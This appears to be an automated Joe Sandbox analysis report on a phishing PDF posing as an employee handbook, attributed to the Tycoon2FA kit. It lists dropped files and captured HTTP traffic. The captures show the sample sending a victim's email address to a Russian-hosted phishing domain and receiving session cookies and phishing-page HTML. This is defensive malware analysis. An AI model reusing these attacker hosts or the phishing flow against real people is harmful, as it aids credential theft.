kIJRkWIx4GSGMTPmI+OhA5URQeMyJgMQY/GgZIbkQFEzojEgMiDg0nJikhFiMCBwNjTChjOWUyByUdHjclNzENMAktORYTLRM5KTgtJUIbRjYgHCRFJS05FhMtEzkpOC0lHR43JTcxDTAJLT4vHwUIISkoXBwSNEcpaTEjKwI9IgVFBz0tJyEJCx0eNyU3MQ0wCS05FhMtEzkpOC0lHR43JTcxCgkBKQBiNjcDSR8TXQAWNBkyOygNSAEpAGM/L

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Munsch-Employee-Handbook.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\05617b4a-91cd-452f-aa0a-f17a0dffd78c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7246bf88-7ec8-4a9c-8877-9030535e5298.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5224fd.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250318171447Z-278.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Windows Analysis Report
Munsch-Employee-Handbook.pdf

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:17 UTC	1139	OUT	GET /nmMmSdPwpaBxTnqpnmfTe0eEsidS7PO9kIHQfu HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImtvZ1EyRHdLS1VvWmI1c2pYcm9Cbnc9PSIsInZhbHVlIjoibWJLMndxU3NtS1gwZkFHbnZWV0dpUitlRlZuYmc5VjFDN2RicmhYU3JDZlBGQVR0dUhzMXR1NzR1NlFNVHZidEhsczR5VXJVZUlNL0FpaGVLRTF2WFhiTEU3ZFRPOVB4VXpYSTVwK1hldG51TXZsdkpJYUUxZjEvdTE5eW9Pd3UiLCJtYWMiOiIwM2QyMWE1Y2FjMjNiYzcwYjNkZDUwNTVkZWNiYmRlODQzZGM5OTA0ZDY2NGRmMDRjMDcxMzc5ZmM5NTY1NzU3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNSMndwTjBpQ0VXK2ZxNTNIaDNhTkE9PSIsInZhbHVlIjoieUpyVXdHVDZvZTMyTTJDVFlpS1JpcW9jUnhsR1NxZmFUK2xIRXlUUHdCSlhjMWJXTHN6MlhtWStsRVUvcVVsNk96SUM1eUVSNE5ESVpUME1JNW9rVWUzYzBJTVZtQzlOYXFmTUlhWk9GeEM2N0RNNzBXK3kzYnhnRFJSRHY0MysiLCJtYWMiOiIwYzc5ZGQyMTA1ZTYyMmVmYmI4MWU1MTE2YzQzNzA0YzcxNWJjYzQyZjI5MzM2MDQ5MzdlZTE2OTE0MDEzNjVhIiwidGFnIjoiIn0%3D
2025-03-18 17:17:18 UTC	1031	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Mar 2025 17:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=egrgXoIpJsGqMyHLn6e6fulqtxqkXieGCUxZIv%2BtUquQvEDIK4tcn2aAam0M3S%2BGwH3dAI6OyEiSVN9PGYLp2kJGX7o%2BYYns7Jjk75YtmRfCwGZ1zwQa9BEdqg03DPS5Okso"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=54626&min_rtt=54130&rtt_var=20653&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2049&delivery_rate=53500&cwnd=251&unsent_bytes=0&cid=576ba7ed73718a89&ts=174&x=0" Server: cloudflare CF-RAY: 922661faad61c333-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1522&min_rtt=1515&rtt_var=573&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1711&delivery_rate=1927392&cwnd=95&unsent_bytes=0&cid=07e7478f8cc4126c&ts=698&x=0"
2025-03-18 17:17:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:18 UTC	1466	OUT	POST /rqvL8Yo5T1guQzvEvyXzBZ5mRylIHLa1dyl8f3zWTRFfq HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive Content-Length: 28 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://o0o6.bvyunz.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://o0o6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InhpWWR0OUw2ZURNRjZHSmR0eEVkL3c9PSIsInZhbHVlIjoiSkVzbitZeWRSNGZYY09NR3JQczExMWxBeXFuMGQrdXNoL3RYM3VhUThyYStFaUZjT3hVUTF3Vkd2SGxTNlM3WXhEWkxxMUpVdmFidUh2bEp4SElzWVdibjREeGNJTlVZcnQyajlKRU4wMi9WWlBacDNKT3ZnM2NaNk1ibHk3SmkiLCJtYWMiOiJlODU2NjFjYmI2MzRiMWE1YWFhN2U1ZDVhZjg0YjVjZWJiZTlkZTZhYjcyMDM2YWZjNjU3NWUzNzBhNGU0Yjk0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVzODFNeGp0RGlYRmZOSHp6UXNVQkE9PSIsInZhbHVlIjoiNHVkNFZUSlRtMU1tN1o0dE1DcVhvL01FYU9ScDBVcFBsbC9jd0tpMFdscmcrRDVkRVlVZnBmaFJLNUtqRllCQkZ3M2tINW96UXlNTElEYURncDg5QitrL1NYRzViUVFXcVNBVVQxRHd5NzdHcGtiZlhoRGVqZlRLYk1DcGxvZ3MiLCJtYWMiOiJlODAzN2IzODBmZDRhMzRiNGVkNjhmOWY2YjM5MzQzYTlmYWIwOTNhMmNkZDgzMTQ3YzhlNzJmZWMyNDIwOGUyIiwidGFnIjoiIn0%3D
2025-03-18 17:17:18 UTC	28	OUT	Data Raw: 64 61 74 61 3d 57 51 6d 73 68 69 65 72 72 79 25 34 30 6d 75 6e 73 63 68 2e 63 6f 6d Data Ascii: data=WQmshierry%40munsch.com
2025-03-18 17:17:18 UTC	1213	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Haw5FnDY%2BD1h3lofAb2FXimzpLT3U%2Bc9SyhCm3EIvaUL%2Bde8H77wpFMRbQax26qCqqpd8j9v7KJhlerYEOdQ2Xa8n837ujMaWc5Jm%2BDnuADMZR7dXdoWj8lN0doRozLztomx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1120&min_rtt=1111&rtt_var=436&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2403&delivery_rate=2437710&cwnd=251&unsent_bytes=0&cid=3d80e8ae289b2a0a&ts=80&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InZqUUIyNmoyVTRJcWVTOUVSTGVsdHc9PSIsInZhbHVlIjoiYllkZGltMFlXeU5SbkowTDY2V0hvSGM5VC82cWtMUHFCU1NMNGN2U3BRZWxoSzdueTVZeHY2cDQ2YXYrN3Y3TW5xMkdVVEdnUFFtcEMrOUQ3T1o2U3RRbjZvS2laYmVwODhHelk0ZmluODAvMUxNVDJrSWhFbUd0RzlQYzRkNmsiLCJtYWMiOiJmNDI1MTQwYTg4ZTRlNzhjNzAwZDc0ODIzYmZhNjQ4OTk2MGI1MzFjMjFiM2UyNTEyOGI3ZWEzNzE1YmZlNGJmIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 19:17:18 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 17:17:18 UTC	763	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 35 56 63 48 64 58 54 33 68 6e 57 6e 6c 31 4c 7a 4a 5a 52 6c 4a 45 56 44 68 6e 62 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 55 56 54 62 33 52 35 56 32 4d 79 61 6c 68 6e 53 55 4e 43 61 69 74 44 54 6a 64 73 62 47 64 32 52 47 52 75 59 6c 4a 4c 64 6d 63 79 61 48 4e 75 4d 6b 52 79 4d 55 30 33 4f 56 52 71 62 44 68 36 53 57 55 33 64 45 6f 72 61 48 63 72 56 44 41 77 56 31 42 4c 59 6c 52 75 4e 7a 46 71 61 55 68 34 52 44 4a 4a 4e 6d 4a 33 51 33 6f 77 5a 56 56 48 62 56 6c 35 62 6a 68 53 65 58 56 44 54 6d 39 44 4e 47 51 30 52 56 52 51 4e 6b 70 31 55 33 6c 4c 64 56 4a 68 5a 30 74 32 57 6a 42 6f 4f 57 34 31 56 6d 30 78 61 45 64 61 61 46 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ik5VcHdXT3hnWnl1LzJZRlJEVDhnbVE9PSIsInZhbHVlIjoiTUVTb3R5V2MyalhnSUNCaitDTjdsbGd2RGRuYlJLdmcyaHNuMkRyMU03OVRqbDh6SWU3dEoraHcrVDAwV1BLYlRuNzFqaUh4RDJJNmJ3Q3owZVVHbVl5bjhSeXVDTm9DNGQ0RVRQNkp1U3lLdVJhZ0t2WjBoOW41Vm0xaEdaaFk
2025-03-18 17:17:18 UTC	360	IN	Data Raw: 31 36 31 0d 0a 7b 22 61 22 3a 22 50 61 6e 69 6e 4a 4d 6e 6c 6e 5c 2f 39 65 50 6f 45 47 71 57 73 76 6d 37 37 4f 51 66 44 45 71 5c 2f 30 31 50 73 34 42 72 6d 52 42 73 33 30 4a 5a 32 4d 4b 73 49 37 59 46 53 4e 6d 4a 42 6f 72 61 64 77 58 30 62 58 46 34 39 50 7a 6d 6c 41 5a 53 57 52 64 4e 44 30 6c 75 37 6a 62 56 48 4f 73 61 62 70 51 59 4f 32 76 63 58 6a 74 50 4f 6a 6a 4b 78 6b 43 55 4b 50 66 4a 38 51 61 37 46 62 4f 68 65 49 70 6f 73 39 4c 64 51 57 6f 69 6c 7a 5c 2f 69 6d 4a 41 54 31 79 30 35 64 32 68 54 79 70 53 52 77 67 46 4d 32 47 4f 5c 2f 5a 4f 61 69 4a 37 4e 6d 46 42 6b 5a 2b 6f 62 42 48 7a 38 37 4b 76 48 73 4e 41 22 2c 22 62 22 3a 22 37 36 62 36 32 61 62 31 38 38 65 65 66 35 35 30 63 34 65 64 65 61 34 34 34 33 61 66 65 39 65 33 22 2c 22 63 22 3a 22 62 30 Data Ascii: 161{"a":"PaninJMnln\/9ePoEGqWsvm77OQfDEq\/01Ps4BrmRBs30JZ2MKsI7YFSNmJBoradwX0bXF49PzmlAZSWRdND0lu7jbVHOsabpQYO2vcXjtPOjjKxkCUKPfJ8Qa7FbOheIpos9LdQWoilz\/imJAT1y05d2hTypSRwgFM2GO\/ZOaiJ7NmFBkZ+obBHz87KvHsNA","b":"76b62ab188eef550c4edea4443afe9e3","c":"b0
2025-03-18 17:17:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:18 UTC	539	OUT	OPTIONS /report/v4?s=egrgXoIpJsGqMyHLn6e6fulqtxqkXieGCUxZIv%2BtUquQvEDIK4tcn2aAam0M3S%2BGwH3dAI6OyEiSVN9PGYLp2kJGX7o%2BYYns7Jjk75YtmRfCwGZ1zwQa9BEdqg03DPS5Okso HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://o0o6.bvyunz.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 17:17:19 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 18 Mar 2025 17:17:18 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:19 UTC	1345	OUT	GET /favicon.ico HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o0o6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.com Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InhpWWR0OUw2ZURNRjZHSmR0eEVkL3c9PSIsInZhbHVlIjoiSkVzbitZeWRSNGZYY09NR3JQczExMWxBeXFuMGQrdXNoL3RYM3VhUThyYStFaUZjT3hVUTF3Vkd2SGxTNlM3WXhEWkxxMUpVdmFidUh2bEp4SElzWVdibjREeGNJTlVZcnQyajlKRU4wMi9WWlBacDNKT3ZnM2NaNk1ibHk3SmkiLCJtYWMiOiJlODU2NjFjYmI2MzRiMWE1YWFhN2U1ZDVhZjg0YjVjZWJiZTlkZTZhYjcyMDM2YWZjNjU3NWUzNzBhNGU0Yjk0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVzODFNeGp0RGlYRmZOSHp6UXNVQkE9PSIsInZhbHVlIjoiNHVkNFZUSlRtMU1tN1o0dE1DcVhvL01FYU9ScDBVcFBsbC9jd0tpMFdscmcrRDVkRVlVZnBmaFJLNUtqRllCQkZ3M2tINW96UXlNTElEYURncDg5QitrL1NYRzViUVFXcVNBVVQxRHd5NzdHcGtiZlhoRGVqZlRLYk1DcGxvZ3MiLCJtYWMiOiJlODAzN2IzODBmZDRhMzRiNGVkNjhmOWY2YjM5MzQzYTlmYWIwOTNhMmNkZDgzMTQ3YzhlNzJmZWMyNDIwOGUyIiwidGFnIjoiIn0%3D
2025-03-18 17:17:19 UTC	1060	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Mar 2025 17:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nNEXskIwfNuWcdW%2FRorxk87%2F5JJHKNPOFwPiTmdflxB3O98rGfywsNysHnpB4WMxwg4ZbYEJJIwpb2pa5mQHa6qSU2LzYFWDUCMhxcyVWwl74LNSLjhE4Uqab2ptQuD2Tg4c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=41936&min_rtt=41859&rtt_var=15752&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2256&delivery_rate=69184&cwnd=191&unsent_bytes=0&cid=ed78ad19c2693aa4&ts=202&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 922662027b5f8c6f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2071&min_rtt=2069&rtt_var=781&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1917&delivery_rate=1397797&cwnd=207&unsent_bytes=0&cid=4f6f746df4963837&ts=695&x=0"
2025-03-18 17:17:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:19 UTC	1552	OUT	GET /dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://o0o6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InZqUUIyNmoyVTRJcWVTOUVSTGVsdHc9PSIsInZhbHVlIjoiYllkZGltMFlXeU5SbkowTDY2V0hvSGM5VC82cWtMUHFCU1NMNGN2U3BRZWxoSzdueTVZeHY2cDQ2YXYrN3Y3TW5xMkdVVEdnUFFtcEMrOUQ3T1o2U3RRbjZvS2laYmVwODhHelk0ZmluODAvMUxNVDJrSWhFbUd0RzlQYzRkNmsiLCJtYWMiOiJmNDI1MTQwYTg4ZTRlNzhjNzAwZDc0ODIzYmZhNjQ4OTk2MGI1MzFjMjFiM2UyNTEyOGI3ZWEzNzE1YmZlNGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5VcHdXT3hnWnl1LzJZRlJEVDhnbVE9PSIsInZhbHVlIjoiTUVTb3R5V2MyalhnSUNCaitDTjdsbGd2RGRuYlJLdmcyaHNuMkRyMU03OVRqbDh6SWU3dEoraHcrVDAwV1BLYlRuNzFqaUh4RDJJNmJ3Q3owZVVHbVl5bjhSeXVDTm9DNGQ0RVRQNkp1U3lLdVJhZ0t2WjBoOW41Vm0xaEdaaFkiLCJtYWMiOiI3MTk3YTQzMzQ1NTUwZTRhOTkyYmJmMjk5NjVhYmMwZGZiMGU3NTU2OTgyYzc4NTBlZjlhZGQ1YmVmZmEzMTY2IiwidGFnIjoiIn0%3D
2025-03-18 17:17:19 UTC	1210	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tF7fEEJvKqJfSbOrVJyZzqEsl1pd5ozLxQaBA6QrRtnZIwXoqjXvtbkT9TJ%2BaZK2FEk9R6RgDEizVPfjaryQnQB9PfYq9xWIW5ien3xjqIr5NRq5ZwpV3lQnNj6h%2BLwvmMQ1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1303&min_rtt=1221&rtt_var=516&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2462&delivery_rate=2371826&cwnd=251&unsent_bytes=0&cid=ca0b91434531ef3e&ts=129&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 19:17:19 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 17:17:19 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 6c 52 63 6c 42 34 62 6c 5a 4d 64 57 46 51 56 30 63 79 57 45 68 46 59 6e 52 45 59 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 69 74 75 52 46 42 73 4d 55 68 50 61 48 55 30 4f 56 4e 4c 64 31 64 61 4c 7a 56 30 65 57 74 70 4f 45 78 32 62 45 4e 30 52 32 68 4a 4d 43 74 56 4e 45 56 70 61 54 52 4e 62 7a 4a 35 4f 44 67 72 63 6b 52 72 4e 46 56 4d 54 46 6b 30 61 58 70 4e 4f 56 42 31 4e 54 64 5a 55 43 39 6c 62 48 41 79 4d 57 52 59 54 43 74 50 4d 32 64 4d 57 55 4a 73 61 48 6c 35 62 6a 5a 49 55 6e 68 59 54 48 52 77 4c 32 73 72 64 6d 56 36 62 55 39 52 63 58 45 35 57 57 64 32 4d 6c 6b 77 65 57 52 72 57 56 56 71 59 31 70 7a 5a 6d 52 6e 4b 30 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0Q
2025-03-18 17:17:19 UTC	1369	IN	Data Raw: 34 62 63 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 Data Ascii: 4bce<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit
2025-03-18 17:17:19 UTC	1369	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 Data Ascii: position:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;bac
